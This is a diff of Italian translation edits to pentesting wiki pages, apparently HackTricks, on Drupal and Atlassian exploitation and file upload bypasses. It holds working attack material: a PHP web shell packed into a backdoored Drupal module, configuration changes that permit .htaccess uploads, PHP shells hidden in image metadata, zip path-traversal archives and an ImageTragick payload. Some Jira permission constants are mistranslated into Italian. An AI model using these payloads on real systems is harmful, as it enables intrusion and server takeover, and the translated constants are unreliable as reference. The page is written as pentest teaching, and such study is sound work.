Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
|
||||
Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come admin e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
|
||||
{% endhint %}
|
||||
|
||||
È necessario che il **plugin php sia installato** (controlla accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||
|
||||
Vai a _Modules_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_
|
||||
Vai su _Modules_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_
|
||||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
|
@ -35,13 +35,13 @@ Infine accedi semplicemente al nodo appena creato:
|
|||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
## Installa il modulo PHP Filter
|
||||
## Install PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
|
||||
{% endhint %}
|
||||
|
||||
A partire dalla versione **8, il** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modulo non è installato per impostazione predefinita**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
|
||||
A partire dalla versione **8, il** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modulo non è installato di default**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
|
||||
|
||||
1. Scarica l'ultima versione del modulo dal sito di Drupal.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
|
@ -49,20 +49,20 @@ A partire dalla versione **8, il** [**PHP Filter**](https://www.drupal.org/proje
|
|||
3. Clicca su **`Sfoglia`**, seleziona il file dalla directory in cui lo abbiamo scaricato e poi clicca su **`Installa`**.
|
||||
4. Una volta installato il modulo, possiamo cliccare su **`Contenuto`** e **creare una nuova pagina base**, simile a come abbiamo fatto nell'esempio di Drupal 7. Ancora una volta, assicurati di **selezionare `Codice PHP` dal menu a discesa `Formato testo`**.
|
||||
|
||||
## Modulo con backdoor
|
||||
## Backdoored Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
|
||||
{% endhint %}
|
||||
|
||||
Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'archivio tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Un modulo backdoored può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'archivio tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Scarica l'archivio ed estrai il suo contenuto.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* Crea una **web shell PHP** con i contenuti:
|
||||
* Crea un **PHP web shell** con i contenuti:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
|
@ -80,16 +80,16 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Assumendo di avere **accesso amministrativo** al sito web, clicca su **`Manage`** e poi su **`Extend`** nella barra laterale. Successivamente, clicca sul pulsante **`+ Install new module`**, e verremo portati alla pagina di installazione, come `http://drupal-site.local/admin/modules/install`. Naviga fino all'archivio del Captcha backdoored e clicca su **`Install`**.
|
||||
* Assumendo di avere **accesso amministrativo** al sito web, clicca su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, clicca sul pulsante **`+ Installa nuovo modulo`**, e verremo portati alla pagina di installazione, come `http://drupal-site.local/admin/modules/install`. Naviga fino all'archivio del Captcha backdoored e clicca su **`Installa`**.
|
||||
* Una volta completata l'installazione, naviga su **`/modules/captcha/shell.php`** per eseguire comandi.
|
||||
|
||||
## Backdooring Drupal con la sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
## Backdooring Drupal con sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Post condiviso da** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### Parte 1 (attivazione di _Media_ e _Media Library_)
|
||||
### Parte 1 (attivazione di _Media_ e _Libreria Media_)
|
||||
|
||||
Nel menu _Extend_ (/admin/modules), puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin _Media_ e _Media Library_ non sembrano essere attivati, quindi attiviamoli.
|
||||
Nel menu _Estendi_ (/admin/modules), puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin _Media_ e _Libreria Media_ non sembrano essere attivati, quindi attiviamoli.
|
||||
|
||||
Prima dell'attivazione:
|
||||
|
||||
|
@ -97,13 +97,13 @@ Prima dell'attivazione:
|
|||
|
||||
Dopo l'attivazione:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 2 (sfruttare la funzionalità _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
### Parte 2 (sfruttare la funzionalità _Sincronizzazione della configurazione_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Sfrutteremo la funzionalità _Configuration synchronization_ per esportare (dump) e importare (upload) le voci di configurazione di Drupal:
|
||||
Sfrutteremo la funzionalità _Sincronizzazione della configurazione_ per esportare (dump) e caricare (import) le voci di configurazione di Drupal:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
@ -140,7 +140,7 @@ allow_insecure_uploads: true
|
|||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
Poi, applica la patch al secondo elemento `file_extensions` da:
|
||||
Poi, patcha la seconda voce `file_extensions` da:
|
||||
|
||||
File: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
|
@ -170,7 +170,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 3 (sfruttando la funzionalità _Aggiungi Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
### Parte 3 (sfruttando la funzione _Aggiungi Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
L'ultimo passaggio è il più semplice e si suddivide in due sotto-passaggi. Il primo è caricare un file in formato .htaccess per sfruttare le direttive di Apache e consentire ai file .txt di essere interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload.
|
||||
|
||||
|
@ -202,7 +202,7 @@ Semplicemente perché se prendiamo il seguente file, ad esempio [core/LICENSE.tx
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
File: Patched LICENSE.txt
|
||||
File: LICENSE.txt patchato
|
||||
```txt
|
||||
|
||||
...
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -23,51 +23,51 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
|
||||
## Controlla i privilegi
|
||||
|
||||
In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anch'essi una **vulnerabilità**.
|
||||
In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anche una **vulnerabilità**.
|
||||
|
||||
Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo che l'endpoint 'mypermissions' includesse un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi richiesti: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo all'endpoint 'mypermissions' di includere un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi richiesti: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
* ADMINISTER\_PROJECTS
|
||||
* ASSIGNABLE\_USER
|
||||
* ASSIGN\_ISSUES
|
||||
* BROWSE\_PROJECTS
|
||||
* BULK\_CHANGE
|
||||
* CLOSE\_ISSUES
|
||||
* CREATE\_ATTACHMENTS
|
||||
* CREATE\_ISSUES
|
||||
* CREATE\_PROJECT
|
||||
* CREATE\_SHARED\_OBJECTS
|
||||
* DELETE\_ALL\_ATTACHMENTS
|
||||
* DELETE\_ALL\_COMMENTS
|
||||
* DELETE\_ALL\_WORKLOGS
|
||||
* DELETE\_ISSUES
|
||||
* DELETE\_OWN\_ATTACHMENTS
|
||||
* DELETE\_OWN\_COMMENTS
|
||||
* DELETE\_OWN\_WORKLOGS
|
||||
* EDIT\_ALL\_COMMENTS
|
||||
* EDIT\_ALL\_WORKLOGS
|
||||
* EDIT\_ISSUES
|
||||
* EDIT\_OWN\_COMMENTS
|
||||
* EDIT\_OWN\_WORKLOGS
|
||||
* LINK\_ISSUES
|
||||
* MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
|
||||
* MANAGE\_SPRINTS\_PERMISSION
|
||||
* MANAGE\_WATCHERS
|
||||
* MODIFY\_REPORTER
|
||||
* MOVE\_ISSUES
|
||||
* RESOLVE\_ISSUES
|
||||
* SCHEDULE\_ISSUES
|
||||
* SET\_ISSUE\_SECURITY
|
||||
* SYSTEM\_ADMIN
|
||||
* TRANSITION\_ISSUES
|
||||
* USER\_PICKER
|
||||
* VIEW\_AGGREGATED\_DATA
|
||||
* VIEW\_DEV\_TOOLS
|
||||
* VIEW\_READONLY\_WORKFLOW
|
||||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
* ADMINISTRARE
|
||||
* ADMINISTRARE\_PROGETTI
|
||||
* UTENTE\_ASSEGNA
|
||||
* ASSEGNA\_QUESTIONI
|
||||
* NAVIGARE\_PROGETTI
|
||||
* MODIFICA\_MASSIVA
|
||||
* CHIUDI\_QUESTIONI
|
||||
* CREA\_ALLEGATI
|
||||
* CREA\_QUESTIONI
|
||||
* CREA\_PROGETTO
|
||||
* CREA\_OGGETTI\_CONDIVISI
|
||||
* ELIMINA\_TUTTI\_GLI\_ALLEGATI
|
||||
* ELIMINA\_TUTTI\_I\_COMMENTI
|
||||
* ELIMINA\_TUTTI\_I\_LAVORI
|
||||
* ELIMINA\_QUESTIONI
|
||||
* ELIMINA\_PROPRI\_ALLEGATI
|
||||
* ELIMINA\_PROPRI\_COMMENTI
|
||||
* ELIMINA\_PROPRI\_LAVORI
|
||||
* MODIFICA\_TUTTI\_I\_COMMENTI
|
||||
* MODIFICA\_TUTTI\_I\_LAVORI
|
||||
* MODIFICA\_QUESTIONI
|
||||
* MODIFICA\_PROPRI\_COMMENTI
|
||||
* MODIFICA\_PROPRI\_LAVORI
|
||||
* COLLEGA\_QUESTIONI
|
||||
* GESTISCI\_ISCRIZIONI\_FILTRI\_GRUPPO
|
||||
* GESTISCI\_PERMESSO\_SPRINT
|
||||
* GESTISCI\_OSSERVER
|
||||
* MODIFICA\_RAPPRESENTANTE
|
||||
* MUOVI\_QUESTIONI
|
||||
* RISOLVI\_QUESTIONI
|
||||
* PROGRAMMA\_QUESTIONI
|
||||
* IMPOSTA\_SICUREZZA\_QUESTIONI
|
||||
* AMMINISTRATORE\_DI\_SYSTEM
|
||||
* TRANSIZIONE\_QUESTIONI
|
||||
* SELETTORE\_UTENTE
|
||||
* VISUALIZZA\_DATI\_AGGREGATI
|
||||
* VISUALIZZA\_STRUMENTI\_DEV
|
||||
* VISUALIZZA\_FLUSSO\_DI\_LAVORO\_SOLAMENTE
|
||||
* VISUALIZZA\_VOTANTI\_E\_OSSERVER
|
||||
* LAVORA\_SU\_QUESTIONI
|
||||
|
||||
Esempio: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
```bash
|
||||
|
@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
È possibile osservare che questi plugin potrebbero essere vulnerabili a comuni vulnerabilità web come XSS. Ad esempio, l'esempio precedente è vulnerabile perché riflette i dati forniti dall'utente. 
|
||||
È possibile osservare che questi plugin potrebbero essere vulnerabili a vulnerabilità web comuni come XSS. Ad esempio, l'esempio precedente è vulnerabile perché riflette i dati forniti dall'utente. 
|
||||
|
||||
Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puoi trovare alcuni payload per aumentare l'impatto dell'XSS.
|
||||
|
||||
|
@ -122,14 +122,14 @@ Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllect
|
|||
|
||||
Queste sono alcune delle azioni che un plugin malevolo potrebbe eseguire:
|
||||
|
||||
* **Nascondere i Plugin agli Amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
|
||||
* **Nascondere i Plugin dagli Amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
|
||||
* **Esfiltrare Allegati e Pagine**: Consentire di accedere e esfiltrare tutti i dati.
|
||||
* **Furto di Token di Sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
|
||||
* **Esecuzione di Comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
|
||||
* **Shell Inversa**: O ottenere una shell inversa.
|
||||
* **Proxying DOM**: Se Confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso e, ad esempio, contattare il server eseguendo comandi attraverso di esso.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -62,9 +62,9 @@ Altre estensioni utili:
|
|||
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
|
||||
6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
|
||||
* _es: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
|
||||
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -84,13 +84,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Bypass **magic number** controllo aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`\` oppure potresti anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Se **compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* Se **compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti usare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti usare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti usare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
@ -111,13 +111,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **utilizzati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
|
||||
|
||||
L'estensione `.inc` è a volte usata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **che questa estensione fosse eseguita**.
|
||||
L'estensione `.inc` è a volte utilizzata per file php che sono solo utilizzati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi \*.xml e \*.war vengono automaticamente elaborati**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come menzionato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
|
||||
Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come menzionato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||
|
||||
|
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Decompress in different folders
|
||||
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttate. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
|
||||
```python
|
||||
|
@ -246,7 +246,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
|
||||
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, è necessario creare un symlink a quel file nel proprio sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
|
||||
|
||||
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
|
||||
```python
|
||||
|
@ -285,7 +285,7 @@ system($cmd);
|
|||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **Modifica con un Editor Hex o vi**: I nomi dei file all'interno dello zip vengono alterati utilizzando vi o un editor hex, cambiando "xxA" in "../" per attraversare le directory.
|
||||
3. **Modifica con un Editor Hex o vi**: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un editor hex, cambiando "xxA" in "../" per attraversare le directory.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
|||
```
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
L'incorporamento di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
|
||||
Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
|
||||
|
@ -312,7 +312,7 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
## Polyglot Files
|
||||
|
||||
